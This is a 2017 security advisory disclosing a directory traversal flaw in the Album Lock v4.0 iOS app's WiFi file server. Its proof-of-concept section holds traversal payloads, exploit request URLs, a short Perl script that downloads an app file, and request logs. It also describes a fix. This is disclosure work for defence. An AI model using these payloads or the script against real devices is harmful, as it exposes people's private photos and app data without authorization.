Document Title:
===============
Album Lock v4.0 iOS - Directory Traversal Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2033


Release Date:
=============
2017-02-20


Vulnerability Laboratory ID (VL-ID):
====================================
2033


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most 
convenient private Photo&Video App!  You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways. 
>From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.

(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.


Vulnerability Disclosure Timeline:
==================================
2017-02-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.

The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers 
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able 
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document` 
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server 
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.

The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. 
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the 
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] getObject

Vulnerable Parameter(s):
[+] filePaht

Affected Module(s):
[+] Web-Server File System


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Standard Request:
https://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png


PoC: Payload
/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application


Malicious Request: Exploitation
https://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/
https://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/
https://localhost:8880/getImage?filePaht=/var/mobile/


PoC: Exploit
use strict;
use LWP::UserAgent;
my $b = LWP::UserAgent->new();
my $host = "1.1.1.1:5555";
print $b->get("https://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8880]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[https://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]


Reference(s):
https://localhost:8880/
https://localhost:8880/getImage
https://localhost:8880/getImage?filePaht=
https://localhost:8880/list_gif.html
https://localhost:8880/list_gif.html?folder=


Solution - Fix & Patch:
=======================
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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